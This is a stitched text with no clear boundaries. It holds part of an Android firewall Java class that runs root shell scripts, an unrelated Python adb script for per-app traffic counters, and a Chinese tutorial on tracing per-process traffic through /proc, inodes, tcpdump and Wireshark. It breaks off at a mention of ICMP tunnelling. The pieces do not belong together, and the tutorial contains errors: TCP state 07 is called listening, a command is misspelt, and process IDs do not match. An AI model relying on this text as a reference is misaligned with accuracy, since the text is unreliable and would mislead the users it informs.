秒 * @param ctx mandatory context * @param script the script to be executed * @param res the script output response (stdout + stderr) * @param timeout timeout in milliseconds (-1 for none) * @return the script exit code * @throws IOException on any error executing the script, or writing it to disk */ public static int runScript(Context ctx, String script, StringBuilder res) throws IOException { return runScript(ctx, script, res, 40000, false); } /** * 二进制文件安装在缓存目录中 * @param ctx context * @param showErrors indicates if errors should be alerted * @return 如果无法安装二进制文件,则为 false */ public static boolean assertBinaries(Context ctx, boolean showErrors) { boolean changed = false; try { // 检查 iptables_g1 File file = new File(ctx.getCacheDir(), "iptables_g1"); if ((!file.exists()) && isARMv6()) { copyRawFile(ctx, R.raw.iptables_g1, file, "755"); changed = true; } // 检查 iptables_n1 file = new File(ctx.getCacheDir(), "iptables_n1"); if ((!file.exists()) && (!isARMv6())) { copyRawFile(ctx, R.raw.iptables_n1, file, "755"); changed = true; } // 检查 busybox file = new File(ctx.getCacheDir(), "busybox_g1"); if (!file.exists()) { copyRawFile(ctx, R.raw.busybox_g1, file, "755"); changed = true; } if (changed) { Toast.makeText(ctx, R.string.toast_bin_installed, Toast.LENGTH_LONG).show(); } } catch (Exception e) { if (showErrors) alert(ctx, "Error installing binary files: " + e); return false; } return true; } /** * 检查防火墙是否启用 * @param ctx mandatory context * @return boolean */ public static boolean isEnabled(Context ctx) { if (ctx == null) return false; return ctx.getSharedPreferences(PREFS_NAME, 0).getBoolean(PREF_ENABLED, false); } /** * 定义防火墙是否启用并广播新状态 * @param ctx mandatory context * @param enabled enabled flag */ public static void setEnabled(Context ctx, boolean enabled) { if (ctx == null) return; final SharedPreferences prefs = ctx.getSharedPreferences(PREFS_NAME, 0); if (prefs.getBoolean(PREF_ENABLED, false) == enabled) { return; } final Editor edit = prefs.edit(); edit.putBoolean(PREF_ENABLED, enabled); if (!edit.commit()) { alert(ctx, "Error writing to preferences"); return; } /* 通知 */ final Intent message = new Intent(Api.STATUS_CHANGED_MSG); message.putExtra(Api.STATUS_EXTRA, enabled); ctx.sendBroadcast(message); } /** * 当从系统中删除(卸载)应用程序时调用 * 这将在所选列表中查找该应用程序,并在必要时更新持久值 * @param ctx mandatory app context * @param uid 已删除的应用程序的 UID */ public static void applicationRemoved(Context ctx, int uid) { final SharedPreferences prefs = ctx.getSharedPreferences(PREFS_NAME, 0); final Editor editor = prefs.edit(); // 允许的应用程序名称由管道“|”分隔(坚持) final String savedUids_wifi = prefs.getString(PREF_WIFI_UIDS, ""); final String savedUids_3g = prefs.getString(PREF_3G_UIDS, ""); final String uid_str = uid + ""; boolean changed = false; // 在“wi-fi”列表中查找已删除的应用程序 if (savedUids_wifi.length() > 0) { final StringBuilder newuids = new StringBuilder(); final StringTokenizer tok = new StringTokenizer(savedUids_wifi, "|"); while (tok.hasMoreTokens()) { final String token = tok.nextToken(); if (uid_str.equals(token)) { Log.d("NetWall", "Removing UID " + token + " from the wi-fi list (package removed)!"); changed = true; } else { if (newuids.length() > 0) newuids.append('|'); newuids.append(token); } } if (changed) { editor.putString(PREF_WIFI_UIDS, newuids.toString()); } } // 在“3G”列表中查找已删除的应用程序 if (savedUids_3g.length() > 0) { final StringBuilder newuids = new StringBuilder(); final StringTokenizer tok = new StringTokenizer(savedUids_3g, "|"); while (tok.hasMoreTokens()) { final String token = tok.nextToken(); if (uid_str.equals(token)) { Log.d("NetWall", "Removing UID " + token + " from the 3G list (package removed)!"); changed = true; } else { if (newuids.length() > 0) newuids.append('|'); newuids.append(token); } } if (changed) { editor.putString(PREF_3G_UIDS, newuids.toString()); } } // 如果有任何变化,请保存新的首选项... if (changed) { editor.commit(); if (isEnabled(ctx)) { // ..如果启用了防火墙,还可以重新应用规则 applySavedIptablesRules(ctx, false); } } } /** * 保存应用程序信息的小结构 */ public static final class DroidApp { /** linux用户标识 */ int uid; /** 属于此用户 ID 的应用程序名称 */ String names[]; /** 指示是否为 wifi 选择了此应用程序 */ boolean selected_wifi; /** 指示是否为 3G 选择了此应用程序 */ boolean selected_3g; /** toString cache */ String tostr; public DroidApp() { } public DroidApp(int uid, String name, boolean selected_wifi, boolean selected_3g) { this.uid = uid; this.names = new String[] {name}; this.selected_wifi = selected_wifi; this.selected_3g = selected_3g; } /** * 此应用程序的屏幕显示 */ @Override public String toString() { if (tostr == null) { final StringBuilder s = new StringBuilder(); if (uid > 0) s.append(uid + ": "); for (int i=0; i<names.length; i++) { if (i != 0) s.append(", "); s.append(names[i]); } s.append("\n"); tostr = s.toString(); } return tostr; } } /** * 用于保存日志信息的小型内部结构 */ private static final class LogInfo { private int totalBlocked; // 阻塞的数据包总数 private HashMap<String, Integer> dstBlocked; // 每个目标 IP 地址阻止的数据包数 private LogInfo() { this.dstBlocked = new HashMap<String, Integer>(); } } /** * 用于执行脚本的内部线程(是否以 root 身份) */ private static final class ScriptRunner extends Thread { private final File file; private final String script; private final StringBuilder res; private final boolean asroot; public int exitcode = -1; private Process exec; /** * 创建一个新的脚本运行器 * @param file temporary script file * @param script script to run * @param res response output * @param asroot if true, executes the script as root */ public ScriptRunner(File file, String script, StringBuilder res, boolean asroot) { this.file = file; this.script = script; this.res = res; this.asroot = asroot; } @Override public void run() { try { file.createNewFile(); final String abspath = file.getAbsolutePath(); // 确保我们对脚本文件有执行权限 Runtime.getRuntime().exec("chmod 777 "+abspath).waitFor(); // 编写要执行的脚本 final OutputStreamWriter out = new OutputStreamWriter(new FileOutputStream(file)); if (new File("/system/bin/sh").exists()) { out.write("#!/system/bin/sh\n"); } out.write(script); if (!script.endsWith("\n")) out.write("\n"); out.write("exit\n"); out.flush(); out.close(); if (this.asroot) { // 创建“su”请求以运行脚本 exec = Runtime.getRuntime().exec("su -c "+abspath); } else { // 创建“sh”请求以运行脚本 exec = Runtime.getRuntime().exec("sh "+abspath); } InputStreamReader r = new InputStreamReader(exec.getInputStream()); final char buf[] = new char[1024]; int read = 0; // 使用“标准输出” while ((read=r.read(buf)) != -1) { if (res != null) res.append(buf, 0, read); } // 使用“stderr” r = new InputStreamReader(exec.getErrorStream()); read=0; while ((read=r.read(buf)) != -1) { if (res != null) res.append(buf, 0, read); } // 获取进程退出代码 if (exec != null) this.exitcode = exec.waitFor(); } catch (InterruptedException ex) { if (res != null) res.append("\nOperation timed-out"); } catch (Exception ex) { if (res != null) res.append("\n" + ex); } finally { destroy(); } } /** * 销毁这个脚本运行器 */ public synchronized void destroy() { if (exec != null) exec.destroy(); exec = null; } } }
import os import time import sys cmd = os.system sleep = time.sleep currDir = sys.path[0] def getPID(packageName): pid = 1 ps = os.popen("adb shell ps | findstr " + packageName) for line in ps.readlines(): if packageName in line: list = line.split() for item in list: if item == packageName: pid = list[1] break return pid def getUid(pid): uid = 1 uidStr = os.popen("adb shell cat /proc/" + pid + "/status") for line in uidStr.readlines(): if "Uid:" in line: uid = line.split()[1] return uid def getFlow(uid): while 1 is not 2: print "tcp_rcv:" cmd("adb shell cat /proc/uid_stat/"+uid+"/tcp_rcv") print "tcp_snd:" cmd("adb shell cat /proc/uid_stat/"+uid+"/tcp_snd") sleep(1) def deviceListener(): device = 0 deviceStr = os.popen("adb devices") for line in deviceStr.readlines(): if 'device'in line: if 'devices' not in line: device = 1 return device if __name__ == "__main__": if deviceListener() == 1: packagename = sys.argv[1] pid = getPID(packagename) if pid == 1: print pid print "no such process!" else: uid = getUid(pid) if uid is not 1: getFlow(uid) else: print "uid error!" else: print "device offline!"
在某些应用安全场景需要结合进程网络连接、流入流出流量等数据可分析出是否在内网存在恶意外传敏感数据现象在网络监控 时发现 服务器大量带宽被占用但不清楚由系统具体哪个进程占用 。为此都需要获取到更细粒度的进程级网络流量数据综合分析
在linux proc目录下可查到主机级网络数据,例如/proc/net/snmp
提供了主机各层IP、ICMP、ICMPMsg、TCP、UDP
详细数据,/proc/net/netstat
文件 InBcastPkts、 OutBcastPkts、InOctets、OutOctets
字段表示主机的收发包数、收包字节数据。但没有进程级流入流出网络流量数据
注:参考nethogs原理来统计进程级网络流量方式,请客观往下看
涉及proc以下几个目录或文件网络状态文件/proc/net/tcp、/proc/net/udp
, 进程文件描述符目录/proc/pid/fd
那么怎么进程级别的流量从哪里获取? 毫无疑问,是的,正如你的想的那样通过抓包,类似 tcpdump 这类使用 pcap 来抓包
步骤思路:
/proc/net/tcp
和 /proc/{pid}/fd/{socket inode}
/proc/{pid}/fd/{socket inode}
:获取所有socket的inode到pid的映射/proc/net/tcp
:获取TCP四元组到inode的映射。在/proc/net/tcp
里面,每一行就是一个TCP连接,记录了本地地址、远程地址和inode号local_address
和rem_address
的解析方式:比如3055EF0A:0016
,那么就是10.239.85.48:22
。也就是每两个十六进制码对应一个十进制数分为三类:
1)tcpdump 抓流量
https://github.com/extremecoders-re/tcpdump-android-builds/releases/tag/v1.0
# 传 tcpdump 到 目录 /data/local/
adb push d:\tcpdump-x86 /data/local/tcpdump
# 设置权限
adb shell chmod 6755 /data/local/tcpdump
# 启动监听程序 并将监听的数据包存放在/sdcard/test_icmp.pcap
adb shell su
cd /data/local
./tcpdump -p -vv -s0 -w /sdcard/test_icmp.pcap
# 下载监听的数据包test_icmp.pcap到PC的D盘
adb pull/sdcard/test_icmp.pcap d:/
上述参数说明:
-p
: 一般情况下,网络接口设置为非混杂模式–vv
: 产生比-v
更详细的输出-s 0
: 抓取数据包时默认抓取长度为68字节。加上-S 0
后可以抓到完整的数据包-w ./target.cap
: 保存成cap文件,方便用ethereal(即wireshark)分析tcp: ip icmp arp rarp 和 tcp、udp、icmp
这些选项等都要放到第一个参数的位置,用来过滤数据报的类型(6)-i eth1
: 只抓经过接口eth1的包-t
: 不显示时间戳-c 100
: 只抓取100个数据包dst port ! 22
: 不抓取目标端口是22的数据包src net 192.168.1.0/24
: 数据包的源网络地址为192.168.1.0/24
这是因为网络接口不对。不同的手机可能使用不同的网络接口进行通信
Tcpdump命令有-i interface参数,指定tcpdump 需要监听的接口。如果没有指定,tcpdump 会从系统接口列表中搜寻编号最小的已配置好的接口(不包括 loopback 接口)。一但找到第一个符合条件的接口, 搜寻马上结束。
在采用2.2版本或之后版本内核的Linux 操作系统上, ‘any’ 这个虚拟网络接口可被用来接收所有网络接口上的数据包(nt: 这会包括目的是该网络接口的, 也包括目的不是该网络接口的)。需要注意的是如果真实网络接口不能工作在’混杂’模式(promiscuous)下,则无法在’any’这个虚拟的网络接口上抓取其数据包。所以使用之前的命令./tcpdump -p -vv -s 0 -w /sdcard/capture.pcap
抓包为0,可尝试另外一个命令./tcpdump -i any -p -s 0 -w /sdcard/capture.pcap
,如果还是抓不到包,依然为0,就去需要确认手机使用的网路接口是哪个了,是否选择正确,使用cat /proc/net/dev 查看接口,当然还有其它的命令。知道了具体的流量接口后【lo 为本地流量, rmnet0为移动网络流量, wlan0 为wifi流量.所以如果我们抓移动网络的包】,比如我们要抓移动流量:cpdump -i rmnet0 -p -s 0 -w /sdcard/capture.pcap
2)Wireshark 抓流量
Wireshark打开刚刚的抓包文件,使用filter做过滤,根据Wireshark显示过滤器的语法,假设APP对应的目标服务器的地址是(192.168.9.66)
统计“入流量”:ip.src == 192.168.9.66
统计“出流量”:ip.dst == 192.168.9.66
Android系统网络输入流量:
/proc/net/dev中的eth*的recieve
Android系统网络输出流量:
取/proc/net/dev中的eth*的send
3)/proc/net/dev
和/sys/class/net/
以及/proc/uid_stat/{uid}/tcp_rcv
统计网路流量的异同点
统计数据出处 | 是否区分网络接口 | 是否区分APP | 说明 |
---|---|---|---|
/proc/net/dev | 是 | 否 | 区分本地流量、无线网络流量、Wi-Fi流量,统计整个系统的流量 |
/sys/class/net/ | 是 | 否 | 区分本地流量、无线网络流量、Wi-Fi流量,统计整个系统的流量 |
/proc/uid_stat/{uid} | 否 | 是 | 根据UID区分APP流量,统计该APP的所有流量 |
cat/porc/PID/status
,可以得到详细的内存情况,各个字段的含义:
熟悉Linux系统的同学,应该知道可以通过命令的方式与内核通信来访问/proc目录下文件,来获取动态的信息,如下:
/proc/meminfo # free命令通过该文件来获取内存信息
/proc/cpuinfo # top命令通过该文件来获取cpu的信息
/proc/uptime # uptime命令通过该文件来获取服务器启动时间信息
/proc/swaps # free命令交换空间的使用情况
同样网卡的流量,丢包率可以通过/proc/net/dev
文件来读取。 ifstat获取网卡数据就是读取的/proc/net/dev
系统来读取
最左边的表示接口的名字,从上面的图可以看出: 只有一张网卡为:wlan0,lo是自循环网卡:
条目 | 含义 |
---|---|
bytes | 接口发送或接收的数据的总字节数 |
packets | 接口发送或接收的数据包总数 |
errs | 由设备驱动程序检测到的发送或接收错误的总数 |
drop | 设备驱动程序丢弃的数据包总数 |
fifo | FIFO缓冲区错误的数量 |
frame | 分组帧错误的数量 |
colls | 接口上检测到的冲突数 |
compressed | 设备驱动程序发送或接收的压缩数据包数 |
carrier | 由设备驱动程序检测到的载波损耗的数量 |
multicast | 设备驱动程序发送或接收的多播帧数 |
从上面的了解,我们了解到虽然Android出自于linux剪裁的先天条件,但依然可以从linux底层找CPU的监控规律,/proc/{pid}/stat
,包含了所有CPU的相关详情信息,该文件中的所有值都是从系统启动开始累计到当前时刻。CPU不是一个瞬时态,而是一个过程态的体现,这一点和内存不同。CPU的时间计数单位是jiffies,为Linux核心变数(unsigned long),它被用来记录系统自开机以来,已经放行过了多少tick。每发生一次timer interrupt
,Jiffies变数会被加一。可以利用process jiffies
的消耗,来计算CPU值。即Delta T时间段内消耗的平均jiffies,即为该时间范围内的CPU值的大小。取值:process jiffies = utime + stime + cutime + cstime
/proc/net/tcp
网络状态文件源IP地址、目的IP地址、源端口、目的端口
源IP地址、目的IP地址、协议号、源端口、目的端口
五元组是通信术语,五元组包括源IP地址、源端口、目的IP地址、目的端口和传输层协议的五个量集合。
例如:192.168.1.1 10000 TCP 121.14.88.76 80
就构成了一个五元组,源IP地址为192.168.1.1,源端口号为10000,协议为TCP,目的IP地址为:121.14.88.76,目的端口号为80
五元组规则能精确控制源IP、源端口、目的IP、目的端口以及传输层协议
五元组规则的定义:完全兼容原有的安全组规则,能更精确的控制源IP地址、源端口、目的IP地址、目的端口以及传输层协议
在TCP/IP协议中,用五元组来标识一个网络通信:
源IP:标识源主机
源端口号:标识源主机中该次通信发送数据的进程
目的IP:标识目的主机
目的端口号:标识目的主机中该次通信接收数据的进程
协议号:标识发送进程和接收进程双方约定的数据格式
源IP地址、目的IP地址、协议号、源端口、目的端口,服务类型以及接口索引
协议号:IP是网络层协议,IP头中的协议号用来说明IP报文中承载的是哪种协议,协议号标识上层是什么协议(一般是传输层协议,比如6 TCP,17 UDP;但也可能是网络层协议,比如1 ICMP;也可能是应用层协议,比如89 OSPF
)
TCP/UDP是传输层协议,TCP/UDP的端口号用来说明是哪种上层应用,比如:
目的主机收到IP包后,根据IP协议号确定送给哪个模块(TCP/UDP/ICMP...
)处理,送给TCP/UDP模块的报文根据端口号确定送给哪个应用程序处理
1)五元组出规则示例:出规则表示禁止172.16.1.0/32
通过22端口对10.0.0.1/32
发起TCP访问
源IP地址:172.16.1.0/32
源端口:22
目的IP:10.0.0.1/32
目的端口:不限制
传输层协议:TCP
授权策略:Drop
分析系统/proc/net/tcp
的tcp链接信息(local/remote/uid/inode
),通过inode查找PID(/proc/PID/fd下socket
对应inode号),通过uid查找对应用户名(/etc/passwd
记录),通过pid查找进程执行文件信息(/pro/PID/exe
)
以tcp的状态文件为例/proc/net/tcp:
"01": "ESTABLISHED" // 表示连接已经建立成功了。服务端发送完ACK+SYN后进入该状态,客户端收到ACK后也进入该状态
"02": "SYN_SENT" // 表示客户端已经发送了SYN报文。当客户端调用connect函数发起连接时,首先发SYN给服务端,然后自己进入SYN_SENT状态,并等待服务端发送ACK+SYN
"03": "SYN_RECV" // 表示服务端被动打开后,接收到了客户端的SYN并且发送了ACK时的状态。再进一步接收到客户端的ACK就进入ESTABLISHED状态
"04": "FIN_WAIT1" // 表示主动关闭连接。无论哪方调用close函数发送FIN报文都会进入这个这个状态
"05": "FIN_WAIT2" // 表示被动关闭方同意关闭连接。主动关闭连接方收到被动关闭方返回的ACK后,会进入该状态
"06": "TIME_WAIT" // 表示收到对方的FIN报文并发送了ACK报文,就等2MSL后即可回到CLOSED状态了。如果FIN_WAIT_1状态下,收到对方同时带FIN标志和ACK标志的报文时,可以直接进入TIME_WAIT状态,而无须经过FIN_WAIT_2状态
"07": "CLOSE" // 表示监听状态。服务端调用了listen函数,可以开始accept连接
"08": "CLOSE_WAIT" // 表示被动关闭方等待关闭。当收到对方调用close函数发送的FIN报文时,回应对方ACK报文,此时进入CLOSE_WAIT状态
"09": "LAST_ACK" // 表示被动关闭方发送FIN报文后,等待对方的ACK报文状态,当收到ACK后进入CLOSED状态
"0A": "LISTEN" // 表示监听状态。服务端调用了listen函数,可以开始accept连接了
"0B": "CLOSING" // 示双方同时关闭连接。如果双方几乎同时调用close函数,那么会出现双方同时发送FIN报文的情况,此时就会出现CLOSING状态,表示双方都在关闭连接
/proc/net/icmp
网络状态文件以icmp的状态文件为例/proc/net/icmp:
重点关注上面的网络连接中的五元组+连接状态+inode号,分别在第2、3(local_address)、4(st)、11列(inode)
补充知识:
1)IP地址表示,IP地址有两个部分组成,net-id和host-id,即网络号和主机号
127.0.0.1属于{127,}集合中的一个,而所有网络号为127的地址都被称之为回环地址,所以回环地址!=127.0.0.1
,它们是包含关系,即回环地址包含127.0.0.1。 回环地址:所有发往该类地址的数据包都应该被loop back
注:127.0.0.1 只能对本机 localhost访问,也是保护此端口的安全性
相比于127.0.0.1,localhost 具有更多的意义,localhost是个域名,而不是一个ip地址。之所以经常把localhost与127.0.0.1认为同一个是因为我们使用的大多数电脑上都将localhost指向了127.0.0.1这个地址。注意,localhost的意义并不局限于127.0.0.1,localhost是一个域名,用于指代this computer
或者this host
,可以用它来获取运行在本机上的网络服务。 在大多数系统中,localhost被指向了IPV4的127.0.0.1和IPV6的::1
,如下所示:
127.0.0.1 localhost
::1 localhost
0.0.0.0
IPV4中,0.0.0.0地址被用于表示一个无效的,未知的或者不可用的目标
服务器端,通过0.0.0.0匹配所有服务器IP,如果进程监听0.0.0.0那么客户端访问服务器任何一个可达IP都可以使用此进程
注: 0.0.0.0 是对外开放,通过服务域名、IP可以访问的端口
区别127.0.0.1,因为127.0.0.1是个环回地址,是IP,并不表示“本机”,0.0.0.0才是真正表示网路中的本地。比如,服务端绑定端口的时候一般选择绑定到0.0.0.0,用户就可以通过多个本服务器的IP进行访问
总结:
当一台主机还没有被分配一个IP地址的时候,用于表示主机本身(DHCP分配IP地址的时候)
用作默认路由,表示”任意IPV4主机”。 用来表示目标机器不可用
用作服务端,表示本机上的任意IPV4地址
::
全0的IPV6地址,和IPV4的0.0.0.0一样,表示匹配多个IPV6地址。
用双冒号“::”
表示一组0或多组连续的0,但只能出现一次,每项数字前导的0可以省略,省略后前导数字仍是0则继续
注::::
这三个: 的前两个”::
“,是“0:0:0:0:0:0:0:0
”的缩写,相当于IPv6的“0.0.0.0”,就是本机的所有IPv6地址,第三个:
是IP和端口的分隔符
补充知识的大家应该也知道了00000000:0001
转换为IP和端口的结果为:0.0.0.0:1
,如下为了更好的理解,伪造一个假的数据,如下:
cat /proc/net/icmp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode ref pointer drops
1: 0100007F:22B8 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 105082 2 00000000 0
其中每个字段的解释如下(由于长度原因,分为3个部分):
46: 010310AC:9C4C 030310AC:1770 01
| | | | | |--> connection state(套接字状态)
| | | | |------> remote TCP port number(远端端口,主机字节序)
| | | |-------------> remote IPv4 address(远端IP,网络字节序)
| | |--------------------> local TCP port number(本地端口,主机字节序)
| |---------------------------> local IPv4 address(本地IP,网络字节序)
|----------------------------------> number of entry
connection state
(套接字状态),不同的数值代表不同的状态,参照如下:
TCP_ESTABLISHED:1 TCP_SYN_SENT:2
TCP_SYN_RECV:3 TCP_FIN_WAIT1:4
TCP_FIN_WAIT2:5 TCP_TIME_WAIT:6
TCP_CLOSE:7 TCP_CLOSE_WAIT:8
TCP_LAST_ACL:9 TCP_LISTEN:10
TCP_CLOSING:11
00000150:00000000 01:00000019 00000000
| | | | |--> number of unrecovered RTO timeouts(超时重传次数)
| | | |----------> number of jiffies until timer expires(超时时间,单位是jiffies)
| | |----------------> timer_active (定时器类型,see below)
| |----------------------> receive-queue(根据状态不同有不同表示,see below)
|-------------------------------> transmit-queue(发送队列中数据长度)
receive-queue
,当状态是ESTABLISHED,表示接收队列中数据长度;状态是LISTEN,表示已经完成连接队列的长度
timer_active
:
0 no timer is pending //没有启动定时器
1 retransmit-timer is pending //重传定时器
2 another timer (e.g. delayed ack or keepalive) is pending //连接定时器、FIN_WAIT_2定时器或TCP保活定时器
3 this is a socket in TIME_WAIT state. Not all fields will contain data (or even exist) //TIME_WAIT定时器
4 zero window probe timer is pending //持续定时器
1000 0 54165785 4 cd1e6040 25 4 27 3 -1 | | | | | | | | | |--> slow start size threshold, or -1 if the threshold is >=0xFFFF | | | | | | | | | (如果慢启动阈值大于等于0xFFFF则显示-1,否则表示慢启动阈值) | | | | | | | | | | | | | | | | | |----> sending congestion window(当前拥塞窗口大小) | | | | | | | |-------> (ack.quick<<1)|ack.pingpong (快速确认数和是否启用的标志位的或运算结果) | | | | | | |---------> Predicted tick of soft clock (delayed ACK control data) (用来计算延时确认的估值) | | | | | | | | | | | |------------> retransmit timeout()(RTO,单位是clock_t) | | | | |------------------> location of socket in memory(socket实例的地址) | | | |-----------------------> socket reference count(socket结构体的引用数) | | |-----------------------------> inode(套接字对应的inode) | |----------------------------------> unanswered 0-window probes(see below) |---------------------------------------------> uid(用户id)
unanswered 0-window probes
:持续定时器或保活定时器周期性发送出去但未被确认的TCP段数目,在收到ACK之后清零
更多多细节请前往该文章(翻译linux官方文档proc_net_tcp.txt
):https://guanjunjian.github.io/2017/11/09/study-8-proc-net-tcp-analysis/
其中local_address和rem_address两列中每个数字都是一个十六进制数,前面八个数,两两构成一个十六进制数【01 00 00 7F
转换为十进制:1 0 0 127
】。此时,将转换为十进制的IP从左到右分别代表IP地址的第四段、第三段、第二段、第一段【十进制:1 0 0 127
正确排序为IP:127.0.0.1
(127 0 0 1
)】,冒号后面的四位代表一个16进制数即端口号【22B8
转换为十进制:8888
】
第2、3列分别是主机字节序IP:Port
0100007F:22B8
″ -> “127.0.0.1:8888
”00000000:0000
″ -> “0.0.0.0:0
”第4列(st)是网络连接状态信息,状态字段含义如下:
"01": "ESTABLISHED" // 表示连接已经建立成功了。服务端发送完ACK+SYN后进入该状态,客户端收到ACK后也进入该状态
"02": "SYN_SENT" // 表示客户端已经发送了SYN报文。当客户端调用connect函数发起连接时,首先发SYN给服务端,然后自己进入SYN_SENT状态,并等待服务端发送ACK+SYN
"03": "SYN_RECV" // 表示服务端被动打开后,接收到了客户端的SYN并且发送了ACK时的状态。再进一步接收到客户端的ACK就进入ESTABLISHED状态
"04": "FIN_WAIT1" // 表示主动关闭连接。无论哪方调用close函数发送FIN报文都会进入这个这个状态
"05": "FIN_WAIT2" // 表示被动关闭方同意关闭连接。主动关闭连接方收到被动关闭方返回的ACK后,会进入该状态
"06": "TIME_WAIT" // 表示收到对方的FIN报文并发送了ACK报文,就等2MSL后即可回到CLOSED状态了。如果FIN_WAIT_1状态下,收到对方同时带FIN标志和ACK标志的报文时,可以直接进入TIME_WAIT状态,而无须经过FIN_WAIT_2状态
"07": "CLOSE" // 表示监听状态。服务端调用了listen函数,可以开始accept连接
"08": "CLOSE_WAIT" // 表示被动关闭方等待关闭。当收到对方调用close函数发送的FIN报文时,回应对方ACK报文,此时进入CLOSE_WAIT状态
"09": "LAST_ACK" // 表示被动关闭方发送FIN报文后,等待对方的ACK报文状态,当收到ACK后进入CLOSED状态
"0A": "LISTEN" // 表示监听状态。服务端调用了listen函数,可以开始accept连接了
"0B": "CLOSING" // 示双方同时关闭连接。如果双方几乎同时调用close函数,那么会出现双方同时发送FIN报文的情况,此时就会出现CLOSING状态,表示双方都在关闭连接
【例子】比如ping目标服务器:
常见网络状态如0A、01
分别代表某进程正监听和已建立连接状态
其中:UID在Android中的作用为Android为单用户设计,UID用于数据共享。常见的UID含义:
0 rootID
1000 SystemID
1001 PhoneID
>10000 AppID
第11列(inode)是inode号,代表Linux系统中的一个文件系统对象包括文件、目录、设备文件、socket、管道等的元信息。如上面示例中105082是某进程监听socket(状态0A)的inode号
/proc/pid/fd目录是进程所有打开的文件信息,其中0、1、2表示标准输入、输出、错误,网络连接是以socket:开头的文件描述符,其中[]
号内的是socket对应inode号,这样可以和网络状态文件/proc/net/icmp下的inode号可对应起来
比如(举个例子【/proc/net/tcp】),以PID:769进程为例,该进程监听8888(0x22B8)端口,在/proc/769/fd目录下显示文件描述符是3、5代表的是sokcet连接,对应inode号分别是623457565、623457729
$ ls -l /proc/769/fd
lrwx------ 1 root root 64 Oct 30 10:46 0 -> /dev/pts/0
lrwx------ 1 root root 64 Oct 30 10:47 1 -> /dev/pts/0
lrwx------ 1 root root 64 Oct 30 10:46 2 -> /dev/pts/0
lrwx------ 1 root root 64 Oct 30 10:47 3 -> socket:[623457565]
lrwx------ 1 root root 64 Oct 30 10:47 4 -> anon_inode:[eventpoll]
lrwx------ 1 root root 64 Oct 30 10:48 5 -> socket:[623457729]
再从/proc/net/tcp过滤22B8,可以发现有两条记录,状态分别为”0A”,”01″,inode号是623457565, 623457729,与前面30168进程fd目录下的inode号一致,就可找到这连接归属的进程
$ cat /proc/net/tcp |grep 22B8
6: 00000000:22B8 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 623457565 1 ffff8811f2fd1740 100 0 0 10 0
13: 0100007F:22B8 0100007F:ED2C 01 00000000:00000000 00:00000000 00000000 0 0 623457729 1 ffff8810880e1740 20 4 30 10 -1
注:上述文件信息可以从/proc/net/tcp建立起网络连接五元组->inode的映射, 再从/proc/pid/fd建立起连接inode ->进程的映射。就是这样通过inode号作为桥梁关联起系统内的进程与网络连接的信息(dup、icmp也是如此关联)
linux主机上使用开源libpcap库来抓取网络报文步骤:
socket:
开头的连接,刷新InodeProcessHash缓存,重新建立inode与进程的映射什么是inode?
inode 是一个数据结构,记录了文件全部信息,除了文件名和文件内容。若是两个或多个文件具备相同的 inode 值,即便它们的文件名不同,位置不同,它们的内容、全部者、权限其实都是同样的,咱们能够将其视有相同文件
strain: n./v.
拉紧, 张力, 气质, 风格, 乐曲(这个词的意思很多)linux内核用数字管理文件系统,、内存、进程等等是为了方便。因为文件名称,进程名称是很长很多很占字节的东西,让内核去接触这些东西会很麻烦,但通过这些实体的编号、id来管理它们就方便多了
inode的读法:i-node : [ai ' n2ud]: i:
可以认为是id, identifier , 所以读成:[ai]
,node是节点,代表着对应文件的实体
inode包含文件的元信息,具体来说有以下内容:
* 文件的字节数
* 文件拥有者的User ID
* 文件的Group ID
* 文件的读、写、执行权限
* 文件的时间戳,共有三个:ctime指inode上一次变动的时间,mtime指文件内容上一次变动的时间,atime指文件上一次打开的时间。
* 链接数,即有多少文件名指向这个inode
* 文件数据block的位置
可以用stat命令,查看某个文件的inode信息:stat test.txt
在相应进程的/proc/{pid}/fd
目录下存放了此进程所有打开的fd。当然,有些可能不是本进程自己打开的,如通过fork()从父进程继承而来的
通过对/proc/下的所有进程的fd/目录下的所有链接进行遍历查看link的值,将遍历到的所有包含socket:开头的连接,将进程号与遍历所得的对应进程号、进程对应的所有socket fd对应的inode号进行建表。但通常情况下都是先获取到PID值后去反查inode号,再通过Inode号去查找对应的tcp、udp、icmp等链接,如果是通过inode反查pid的话, 就需要遍历/proc/{pid}/inode下的所有值,然后给对应的Pid和inode号建表
以pid:769进程为例,该进程监听0(00)端口(因为是ICMP),在/proc/769/fd目录下显示文件描述符是3代表的是sokcet连接,对应inode号为2392060
如果 IP 是本地的IP地址,那么就是出流量。反之,IP 不是本地IP地址,那么肯定是进流量
从TCP/IP的分层结构上来看,它同IP协议一样处于网络层,但ICMP协议有自己的一套报文格式,且它需要使用IP协议来递交报文,即ICMP报文是放在P数据报中的数据区域发送的,从这点看来,ICMP协议又有点像一个传输层协议,因为ICMP报文的目的不是目的主机上的某个应用程序,它不为应用程序提供传输服务,ICMP报文的目的是目的主机上的网络层处理软件
1)ICMP 报文是由发送方发出的还是由接收方发出的呢?
答:ICMP 报文是由路由器发出来的,比如主机 A 在不知情的情况下向主机 B 发送了数据包,而主机 B 正在睡觉或装傻不鸟主机A。主机 A 和主机 B 不在同一个局部网内,假设它俩之间会经过路由器1和路由器2,如下图:
大家现在应该了解,除了 IP 地址以外还需要 MAC 地址才能确保数据包精准的找到传送方向,因此,路由器 2 为了知道主机 B 的 MAC 地址,它会广播一个 ARP 请求报文,希望获取到主机 B 的 MAC 地址,而主机 B 都关机了自然也就无法应答这个请求报文了。此时,路由器 2 会重复发送着 ARP 请求报文,在多次无果后,路由器 2 就会返回一个ICMP Destination Unreachable
的包给主机 A,通知主机 A 发送给主机 B 的包未能成功抵达
2)ICMP 报文具体是怎么传输给主机 A 的呢?
当时我也纠结了很久,这特么到底是该怎么去查看A在外部请求B了,一直不思其解。其实就跟TCP/UDP 报文一样,TCP/UDP是怎么传输的,ICMP 报文就是怎么传输的
总结:其实,真正的数据首先会被加上 ICMP 首部,接着封装成 ICMP 报文,然后被 IP 协议封装成 IP 数据报进行明文传输,最后由 IP 协议指定源 IP 地址和目的地址。主机 A 收到数据后会一层一层解封装,从而获得真正的数据得知发生异常的原因
网络攻击者通过ICMP协议,可以进行隧道传输,实现数据窃取,规避掉一些防火墙规则。首先我们先来聊聊ICMP协议的基础内容
ICMP(Internet Control Message Protocol
